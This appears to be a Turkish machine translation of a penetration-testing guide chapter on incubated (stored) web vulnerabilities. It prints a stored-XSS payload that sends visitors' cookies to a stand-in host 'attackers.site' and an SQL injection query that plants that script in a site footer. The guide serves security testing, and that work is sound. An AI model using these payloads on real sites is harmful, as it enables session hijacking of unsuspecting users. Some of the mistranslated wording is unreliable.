Testing for Incubated Vulnerability (Kuluçkalanmış Güvenlik Açığı Testi)

Summary (Özet)

Ayrıca genellikle kalıcı saldırılar olarak adlandırılan inkübasyon testi, çalışmak için birden fazla veri doğrulama savunmasızlığına ihtiyaç duyan karmaşık bir test yöntemidir. İndüklü güvenlik açıkları
tipik olarak meşru web uygulamalarının kullanıcılarına karşı "sulama deliği" saldırıları yapmak için kullanılır.

İndüklenmiş güvenlik açıkları aşağıdaki özelliklere sahiptir:

- Saldırı vektörünün ilk etapta ısrar edilmesi gerekir, kalıcılık katmanında saklanması gerekir ve bu yalnızca zayıf veri doğrulaması mevcutsa veya veriler bir yönetici konsolu gibi başka bir kanal aracılığıyla veya doğrudan bir backend parti süreci ile sisteme ulaşıldığında ortaya çıkar.
- İkincisi, saldırı vektörü "geri çağrıldıktan" sonra, vektörün başarılı bir şekilde idam edilmesi gerekecekti. Örneğin, kuluçkamış bir XSS saldırısı, zayıf çıktı doğrulaması gerektirecektir, böylece komut dosyası müşteriye yürütülebilir haliyle teslim edilecektir.

Bazı güvenlik açıklarının veya hatta bir web uygulamasının işlevsel özelliklerinin sömürülmesi, bir saldırganın daha sonra şüphelenmeyen bir kullanıcı veya sistemin diğer bileşenleri tarafından geri alınacak ve orada bazı güvenliksizliklerden yararlanan bir veri parçası yerleştirmesine izin verecektir.

Penetrasyon testinde, `incubated attacks` Belirli hataların kritikliğini değerlendirmek için kullanılabilir, genellikle aynı anda çok sayıda kurbanı hedeflemek için kullanılacak olan istemci
tarafındaki tabanlı bir saldırı oluşturmak için bulunan özel güvenlik sorununu (yani siteye göz atan tüm kullanıcılar).

Bu tür asenkron saldırı, aralarında aşağıdakiler arasında büyük bir saldırı vektörü yelpazesini kapsar:

- Bir web uygulamasında bileşen yükleme, saldırganın bozuk medya dosyalarını yüklemesine izin veren dosya (JPEG görüntüleri istismar `CVE-2004-0200`, PNG görüntüleri sömürüyor `CVE-2004-0597` Uygulanabilir dosyalar, aktif bileşenli site sayfaları vb.)
- Genel forumlarda çapraz site komut dosyası sorunları (ek ayrıntılar için Mağazalanmış Çapraz Site Senaryo için Test bölümüne bakın). Bir saldırgan, web-uygulamanın arka ucundaki bir depoda (örneğin, bir veritabanı) kötü amaçlı komut dosyalarını veya kodu potansiyel olarak saklayabilir, böylece bu komut dosyası / kod kullanıcılardan biri (son kullanıcılar, yöneticiler vb.) tarafından yürütülür. Arketik inkübasyon saldırısı, savunmasız sayfaya bir JavaScript kodu enjekte etmek için bir kullanıcı forumunda, bülten panosunda veya blogda bir çapraz komut dosyası açıklığı kullanılarak örneklenir ve sonunda site kullanıcısının tarayıcısında işlenir ve gerçekleştirilir - kullanıcının tarayıcısındaki orijinal (savunmasız) sitenin güven seviyesini kullanır.
- SQL / XPATH Enjeksiyonu, saldırganın bir web sayfasındaki aktif içeriğin bir parçası olarak alınan bir veritabanına içerik yüklemesine izin verir. Örneğin, saldırgan bir bülten panosunda rastgele JavaScript yayınlayabilirse, kullanıcılar tarafından idam edilecekse, tarayıcılarının kontrolünü alabilir (örneğin, XSS-proxy).
- Java paketlerinin veya benzer web sitesi bileşenlerinin kurulmasına izin veren yanlış yapılandırılmış sunucular (yani. Tomcat veya Plesk, CPanel, Helm vb. gibi web barındırma konsolları.)

Test Objectives (Test Hedefleri)

- Depolanan enjeksiyonları tanımlayın ve depolanan enjeksiyona bir geri çağırma adımı gerektirir.
- Bir geri çağırma adımının nasıl gerçekleşebileceğini anlayın.
- Dinleyicileri ayarlayın veya mümkünse geri çağırma adımını etkinleştirin.

How to Test (Nasıl Test Edilir)

Black-Box Testing (Siyah-Kutu Testi)

File Upload Example (Dosya Yükü Örnek)

Web uygulamasına yüklenmesine izin verilen içerik türünü ve yüklenen dosya için ortaya çıkan URL'yi doğrulayın. Kullanıcı tarafından görüntülendiğinde veya indirildiğinde yerel kullanıcı iş istasyonundaki bir bileşeni kullanacak bir dosyayı yükleyin. Onu sayfaya göz atmasına yol açmak için kurbanınıza bir e-posta veya başka bir uyarı gönderin. Beklenen sonuç, kullanıcı ortaya çıkan sayfaya göz attığında veya dosyayı güvenilir siteden çıkardığında istismar tetiklenecek.

XSS Example on a Bulletin Board (Bir Bülten Kurulunda XSS Örnek)

1. Örneğin, JavaScript kodunu savunmasız alanın değeri olarak tanıtın `<script>document.write('<img src="http://attackers.site/cv.jpg?'+document.cookie+'">')</script>`
2. Kullanıcıları savunmasız sayfaya göz atmaya yönlendirmek veya kullanıcıların göz atmasını beklemek için yönlendirin. Bir “dinleyici” var `attackers.site` Tüm gelen bağlantıları dinlemeye ev sahipliği yapın.
3. Kullanıcılar savunmasız sayfaya göz attığında, çerezlerini içeren bir istek (`document.cookie` İstenen URL'nin bir parçası olarak dahil edilir) gönderilecektir `attackers.site` Ev sahibi, örneğin: `GET /cv.jpg?SignOn=COOKIEVALUE1;%20ASPSESSIONID=ROGUEIDVALUE; HTTP/1.1`
4. Savunmasız sitede kullanıcıları taklit etmek için elde edilen çerezleri kullanın.

SQL Injection Example (SQL Enjeksiyon Örneği)

Genellikle, bu örnek kümesi, SQL-injection güvenlik açığından yararlanarak XSS saldırılarından yararlanır. Test edilmesi gereken ilk şey, hedef sitenin bir SQL enjeksiyonu güvenlik açığına sahip olup olmadığıdır. Bu, SQL Enjeksiyonu için Test olarak tanımlanmıştır. Her SQL-enjeksiyon güvenlik açığı için, saldırgan / kalem test cihazının yapmasına izin verilen türdeki sorguları açıklayan altta yatan bir kısıtlama seti vardır.

Testçi daha sonra, eklemesine izin verilen girişlerle tasarladığı XSS saldırılarını eşleştirmek zorundadır.

Önceki XSS örneğinde olduğu gibi benzer bir şekilde, veritabanındaki bir değeri değiştirmek için SQL enjeksiyonu sorunlarına karşı savunmasız bir web sayfası alanı kullanın, uygulama tarafından uygun filtreleme olmadan sitede gösterilecek girdi olarak kullanılacaktır (bu bir SQL enjeksiyonu ve bir XSS sorununun bir kombinasyonu olacaktır). Örneğin, bir şey olduğunu varsayalım. `footer` Bir de dahil

olmak üzere web sitesi sayfaları için tüm ayaklılarla veritabanında tablo `notice` Her web sayfasının altında görünen yasal bildirimle saha. JavaScript kodunu enjekte etmek için aşağıdaki sorguyu kullanabilirsiniz
`notice` Tarlada `footer` Veritabanında tablo.

```
SELECT field1, field2, field3
FROM table_x
WHERE field2 = 'x';
  UPDATE footer
  SET notice = 'Copyright 1999-2030%20
    <script>document.write(\'<img src="http://attackers.site/cv.jpg?\'+
document.cookie+\'">\')</script>'
  WHERE notice = 'Copyright 1999-2030';
```

Şimdi, siteye göz atan her kullanıcı sessizce çerezlerine gönderecek. `attackers.site` . .

Misconfigured Server (Yanlış Yapılandırılmış Sunucu)

Bazı web sunucuları, bir saldırganın kendi seçtiği aktif bileşenleri siteye yüklemesine izin verebilecek bir yönetim arayüzü sunar. Bu, Web Uygulama Yöneticisine erişmek için güçlü kimlik bilgileri uygulamayan bir Apache Tomcat sunucusunda olabilir (veya kalem test cihazları, yönetim modülü için geçerli kimlik bilgilerini başka yollarla elde edebildiyse).

Bu durumda, bir savaş dosyası yüklenebilir ve sitede dağıtılabilir, bu da kalem test cihazının yalnızca sunucuda yerel olarak seçtiği kodu yürütmesine izin vermekle kalmayacak, aynı zamanda sitenin düzenli kullanıcıların daha sonra erişebileceği güvenilir siteye bir uygulama dikmek için (büyük olasılıkla farklı bir siteye erişirken olduğundan daha yüksek bir güven derecesi ile).

Ayrıca açık olması gerektiği gibi, sunucudaki web sayfası içeriğini değiştirme yeteneği, saldırgan webroot yazma izni verecek olan ana bilgisayarda istismar edilebilecek herhangi bir güvenlik açığı
aracılığıyla, web sunucu sayfalarına böyle bir SERupla vurulmuş saldırının ekilmesine de yararlı olacaktır (aslında, bu bazı web sunucusu solucanları için bilinen bir enfeksiyon yayılı bir yöntemdir).

Gray-Box Testing (Gri-Kutu Testi)

Gri kutu veya beyaz kutu test teknikleri daha önce tartışıldığı gibi aynı olacaktır.

- Giriş doğrulamasını incelemek, bu güvenlik açığına karşı hafifletmede anahtardır. İşletmedeki diğer sistemler aynı kalıcılık katmanını kullanırsa, zayıf giriş doğrulamasına sahip olabilir ve
  veriler bir aracılığıyla devam ettirilebilir.
  `back door` . .
- Mücadele etmek için `back door` Müşteri tarafındaki saldırılar için sorun, çıktı doğrulaması da
  kullanılmalıdır, böylece lekeli veriler müşteriye görüntülemeden önce kodlanır ve bu nedenle uygulanmaz.

Tools (Araçlar)

- XSS-proxy
- OWASP Zed Attack Proxy (ZAP)
- Burp Suite
- Metasploit

References (Referanslar)

Çapraz site komut dosyası bölümünden yapılan referansların çoğu geçerlidir. Yukarıda açıklandığı gibi, SERuplabed saldırılar XSS veya SQL-inject saldırıları gibi istismarları birleştirirken gerçekleştirilir.

Advisories (Tavsiyeler)

- CERT Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests
- Blackboard Academic Suite 6.2.23 +/-: Persistent cross-site scripting vulnerability

Whitepapers (Beyaz Kağıtlar)

- Web Application Security Consortium “Threat Classification, Cross-site scripting”